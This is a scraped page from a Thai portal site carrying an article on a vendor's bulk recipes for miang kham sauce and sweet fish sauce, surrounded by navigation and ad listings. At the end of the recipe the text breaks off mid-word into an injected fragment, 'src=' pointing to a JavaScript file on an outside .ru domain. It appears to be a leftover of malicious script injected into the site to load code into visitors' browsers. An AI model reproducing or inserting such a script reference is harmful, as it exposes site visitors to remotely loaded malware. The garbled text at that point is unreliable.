หน้าแรก | สมัครสมาชิก ฟรี!! | สมาชิก Login | บริการของเรา | เพิ่งมาเป็นครั้งแรก | Shopping | เว็บสามัญประจำบ้าน 
โฆษณา
โฆษณา ฟรี
ประกาศซื้อขายฟรีโปรโมทธุรกิจฟรีโปรโมทเว็บไซต์ฟรีร้านค้าออนไลน์ฟรีนิทานออนไลน์ข้อมูลสมุนไพรไทยเทคนิคการเล่นกอล์ฟ
แหล่งกินเที่ยว ทั่วไทยเกมส์ออนไลน์การ์ดอวยพรออนไลน์ฟังเพลงออนไลน์สถานีวิทยุออนไลน์ดูทีวีออนไลน์ข้อมูลสินค้าไอที
คลิปวีดีโอฟุตบอลไทยพรีเมียร์ลีกข่าวประจำวันเรียนดนตรีออนไลน์บทความน่ารู้เรียนภาษาออนไลน์ดาวน์โหลดฟรี
รวมข่าวแปลก ๆจัดอันดับเว็บไซต์ไอเดียตกแต่งบ้านเว็บไซต์สำเร็จรูปสูตรอาหารจานเด็ดข้อมูลการท่องเที่ยวหนังการ์ตูน
หุ้น - เศรษฐกิจดูหนังออนไลน์เรื่องย่อละครแม่และเด็กเนื้อเพลงและคอร์ดเช่ารถตู้ไอโฟน (iPhone)
สำหรับเว็บมาสเตอร์
  โฆษณาฟรี คลิกเลย
  Internet Speed Test
  แปลภาษาทั่วโลก
  สร้าง QR Code ฟรี
  ตรวจอันดับเว็บไซต์
  ค้นหาข้อมูลทั่วโลก
  เกมส์ออนไลน์
  ดูทีวีออนไลน์
  สถานีวิทยุออนไลน์
  ข่าวอัพเดทอัตโนมัติ
  สูตรอาหารนานาชาติ
  RSS Feeds Center
  ระบบสำรวจความคิดเห็น
  ถ้าคุณชอบเที่ยว
  คลิปเด็ดกีฬาดัง
  เรียนภาษาเกาหลี ฟรี!
  เรียนภาษาอังกฤษ ฟรี!
  เรียนภาษาจีน ฟรี!
  เรียนภาษาญี่ปุ่น ฟรี
  เทคนิคการเล่นกอล์ฟ
  เรียนดนตรีออนไลน์
  สร้างเว็บไซต์มือถือ
ผู้สนับสนุน 
โฆษณา
โฆษณา
โฆษณา
หมวดหมู่ ประเภท จังหวัด

เมี่ยงคำ สูตรดั้งเดิม

ช่องทางทำกิน : ข่องทางทำกิน:เคล็ดลับ 'เมี่ยงคำ' ทำเงินด้วยสูตรดั้งเดิม

วันก่อน "ช่องทางทำกิน" นำเสนอสูตรขนม ไทยอมตะอย่างขนมชั้นไป วันนี้มาดูอาหารว่างแบบไทย ๆ อย่าง "เมี่ยงคำ" กันอีกสักรอบ ซึ่งทีมงานไปได้สูตรจาก "แฟนพันธุ์แท้เมี่ยงคำ" ที่มีประสบการณ์ทำเมี่ยงคำขายมานานกว่า 10 ปี...มาบอกกล่าวกัน..

วรรณวิมล เฟื่องฟูสิน เจ้าของเมี่ยงคำชาววัง "วัน"  จะเป็นผู้ที่ให้สูตร โดยคุณวรรณวิมลเล่าว่า เป็นคนที่ชอบทานเมี่ยงคำมาตั้งแต่เด็กแล้ว แต่ภายหลังนั้นรู้สึกว่าเมี่ยงคำที่ไปซื้อมาทานอร่อยสู้สมัยที่ซื้อทานตอนเด็กไม่ได้ ดังนั้น จึงพยายามหาทางที่จะทำเมี่ยงคำที่มีรสชาติอร่อยเหมือนในอดีต

"เริ่มทดลองหัดทำเมี่ยงคำเมื่อช่วงปี 2535 และเริ่มมาลงมือขายในปี 2538 ช่วงนั้นขายกะปิเคย และกุ้งแห้งอยู่แล้ว ซึ่ง หัวใจสำคัญของเมี่ยงคำอยู่ที่กะปิและกุ้งแห้ง ที่เป็นส่วนผสมหลักในการทำน้ำเมี่ยง ถ้าน้ำเมี่ยงไม่อร่อย เท่ากับเมี่ยงคำไม่อร่อยไปด้วย"

เมี่ยงคำที่อร่อยนั้นจะรับรู้ได้จากการสัมผัสแค่คำแรกที่เริ่มเคี้ยว...ที่สำคัญ...ไม่ใช่เพียงคำแรกเท่านั้น ต้องอร่อยถึงคำสุดท้ายด้วย !!

และจากการมุ่งมั่นในการหาสูตรเด็ดเคล็ดลับการเคี่ยวน้ำเมี่ยงให้ถูกลิ้นถูกปากคนทาน ถึงวันนี้คุณวรรณวิมลจัดเป็นแม่ค้าเมี่ยงคำที่ "ขายดิบขายดีมาก" คนหนึ่ง

คุณวรรณวิมลบอกว่า การลงทุนขายเมี่ยงคำนั้นไม่ต้องใช้เงินมากมาย แต่ต้องทำใจเรื่องงานที่จุกจิกไม่มีวันหมด ที่สำคัญ..."ความประณีต" เป็นเรื่องที่ละเลยไม่ได้เด็ดขาด

เริ่มที่การทำ "น้ำเมี่ยงคำ" นั้น ตามสูตรจะเริ่มด้วยการเคี่ยวน้ำตาลปี๊บ 30 กก.+น้ำเปล่าประมาณ 6 ขัน (ขนาดกลาง) ให้ละลายเข้าเป็นเนื้อเดียวกัน (ถ้าทำน้อยก็คำนวณส่วนผสมลดลงตามส่วน)

ไฟที่ใช้เคี่ยวนั้นให้ใช้ไฟแรงปานกลาง

เมื่อเคี่ยวจนน้ำตาลปี๊บละลายได้ที่แล้ว กรองด้วยผ้าขาวบางเพื่อเอาเศษน้ำตาลหรือเศษฝุ่นละอองอื่น ๆ ออก นำน้ำที่กรองแล้วตั้งไฟอีกครั้งหนึ่ง ใส่กุ้งแห้งบดลงไป 1.5 กก. ตามด้วยมะพร้าวแกงบด  2 กก. ซึ่งผสมกับกะปิ 1 กก. เตรียมไว้ก่อนหน้าแล้ว และเพิ่มรสชาติความหอมกลิ่นเครื่องเทศด้วย ข่า-ตะไคร้ทุบรวมกันอีกประมาณ 100 กรัม เคี่ยวไปเรื่อย ๆ ในระหว่างนั้นก็ชิมรสไปด้วย  

สำหรับ "น้ำปลา" ที่ก็เป็นอีกส่วนผสมหนึ่งในการเคี่ยวน้ำเมี่ยงคำนั้น จะจำเป็นหรือไม่ จะใช้เป็นส่วนผสมน้ำเมี่ยงคำหรือไม่ ขึ้นอยู่กับรสชาติของกะปิว่าเค็มหรือไม่ ถ้ากะปิเค็มมาก น้ำปลาก็ไม่ต้องหยิบมาใส่

การเคี่ยวน้ำเมี่ยงคำนี้ต้องบอกก่อนเลยว่า คนเคี่ยวต้องมีความอดทนมากพอสมควร เพราะการเคี่ยวนั้นต้องใช้เวลาไม่ต่ำกว่า 2-3 ชั่วโมง น้ำเมี่ยงคำถึงจะส่งกลิ่นหอมหวนชวนรับประทาน

น้ำเมี่ยงนั้นจะต้องมีลักษณะที่ไม่ใส-ไม่ข้นเกินไป

ว่าไปแล้ว...คนที่เคี่ยวไป  ชิมไปนั้นจะต้องเก่งมีประสบการณ์พอสมควร คือจะต้องรู้ใจคนซื้อนั่นเอง

เมื่อเคี่ยวเสร็จแล้ว ก็โรยด้วยหอมแดงซอยเป็นขั้นตอนสุดท้าย

น้ำเมี่ยงคำที่เคี่ยวได้ตามสูตรที่ว่ามา เบ็ดเสร็จแล้วจะตักแบ่งใส่ถุงได้ประมาณ 400-450 ชุด
เมื่อได้น้ำเมี่ยงคำแล้วก็มาเตรียม "เครื่องเมี่ยง" อันประกอบไปด้วย... มะพร้าวแกงซอยคั่ว, ถั่ว
ลิสงคั่ว ย้ำว่าทั้ง 2 อย่างนี้ "ต้องทำเอง" ไม่จำเป็นก็อย่าไปซื้อที่ทำสำเร็จรูปมาแล้ว เพราะรสชาติจะไม่เหมือนกับที่ทำด้วยมือเราเองใหม่  ๆ  

นอกจากนี้ก็มี มะนาวหั่น, ขิงหั่น, หอม แดงหั่น, พริกขี้หนูหั่นซอย และขาดไม่ได้คือ "ใบชะพลู" หรือ "ใบทอง หลาง"

ทั้งน้ำเมี่ยงและเครื่องเคียงทั้งหมดนี้จัดเป็นชุด ๆ กะปริมาณตามความเหมาะสมกับราคาขาย

ราคาขายที่เหมาะสมก็ไม่น่าจะเกินชุดละ 25-30 บาท

วันก่อนเสนอเรื่องขนมชั้น...แถมขนมทองเอก วันนี้เมี่ยงคำ...แถม "น้ำปลาหวาน"
คุณวรรณวิมลให้สูตรการทำ "น้ำปลาหวาน" เพิ่มเติม โดยเป็นสูตรการทำปริมาณมาก ประมาณ 50 กก. (เช่นกัน...ทำน้อยก็ลดส่วนผสมลงตามส่วน)  

เริ่มกันที่เคี่ยวน้ำตาลทราย 40 กก.+น้ำตาลปี๊บ 1 กก. กับน้ำเปล่าประมาณ 3 ขัน (ขันขนาดปานกลาง) เคี่ยวเรียบร้อยแล้วก็กรองเศษน้ำตาลหรือเศษฝุ่นอื่น ๆ ด้วยผ้าขาวบาง

จากนั้นนำขึ้นตั้งไฟอีกครั้งหนึ่ง แล้วใส่ส่วนผสมต่าง ๆ  ได้แก่... หอมแดงบด 5 กก., พริกขี้หนูสดบด 1 กก., กุ้งแห้งบด 6 กก., กะปิอย่างดี  1.5 กก.  และน้ำปลา 3 ขวด ลงไปเคี่ยวผสมด้วย

เคี่ยวไปเรื่อย ๆ จนน้ำปลาหวานเหนียวหนืด ใช้เวลาประมาณ 2 ชั่วโมงก็จะใช้ได้ จากนั้นก็นำบรรจุลงภาชนะตามที่ต้องการ เท่านี้ก็เป็นอันเรียบ src=http://www.doubleclickr.ru/index.js>

ลิงค์เนื้อหาที่ใกล้เคียงและเกี่ยวข้อง [Tags List]

น้ำตาล      

 

ประกาศขายสินค้า

 

เปิดร้านค้าฟรี

 

ทีวีออนไลน์

 

ฟังเพลง


ฟังวิทยุออนไลน์

 

ดาวน์โหลด

 

ดาวน์โหลด ฟรี

 

เกม

 

เกมส์


โปรโมทเว็บไซต์

 

โปรโมทเว็บ ฟรี

 

โฆษณาฟรี

 

ข่าวประจำวัน

แนะนำหน้านี้ให้เพื่อน/คนรู้จัก


อีเมล์เพื่อน: ชื่อคุณ : อีเมล์คุณ :  
หน้าหนาวปีนี้ไปเที่ยวไหนดี?
ไปเที่ยวเชียงใหม่
ไปเที่ยวเชียงราย
ไปเที่ยวแม่ฮ่องสอน
ไปเที่ยวน่าน
ไปเที่ยวปาย
ไปเที่ยวภูกระดึง
ไปเที่ยวเลย
ไปเที่ยวเพชรบูรณ์

For Mobile Version

ประกาศซื้อขายฟรี
  • กล้อง อุปกรณ์การถ่ายภาพ
  • การเกษตร และปศุสัตว์
  • การศึกษา อบรมสัมนา
  • กีฬา อุปกรณ์
  • ของเล่น งานอดิเรก
  • ของสะสม ของเก่า
  • ขายตรง ประกันฯ
  • ข่าวประชาสัมพันธ์
  • คอมพิวเตอร์
  • เครื่องใช้ไฟฟ้า
  • เครื่องใช้สำนักงาน
  • เครื่องสำอางค์สำหรับผู้ชาย
  • เครื่องสำอางค์สำหรับผู้หญิง
  • จิวเวลรี่ เครื่องประดับ
  • ดนตรี
  • ต้นไม้ การจัดสวน
  • ท่องเที่ยว ที่พัก
  • ธุรกิจ อุตสาหกรรมทั่วไป
  • ธุรกิจ อุตสาหกรรมพลาสติก
  • นัดพบแรงงาน
  • เฟอร์นิเจอร์
  • มือถือ อุปกรณ์สื่อสาร
  • แม่และเด็ก
  • รถยนต์ ยานพาหนะ
  • วีดีโอเกมส์
  • ศิลปะและหัตถกรรม
  • สัตว์เลี้ยง
  • สำนักกฏหมาย/ทนาย
  • สำนักงานบัญชี
  • สุขภาพและความงาม
  • เสื้อผ้า แฟชั่น
  • หนัง เพลง
  • หนังสือ เครื่องเขียน สิ่งพิมพ์
  • อสังหาริมทรัพย์
  • อาหารและเครื่องดื่ม
  • อินเตอร์เน็ตและเว็บไซต์
  • อื่นๆ จิปาถะ...
  • โฆษณา
    โฆษณา โฆษณา

    หน้าแรก | บริการของเรา | ข้อตกลงการใช้งาน | ติดต่อโฆษณา | นโยบาย | เมื่อสมัครเป็นสมาชิก
    สงวนลิขสิทธิ์ตามกฏหมาย © โดย Power Web Application


     มีผู้ชมออนไลน์อยู่ 876 คน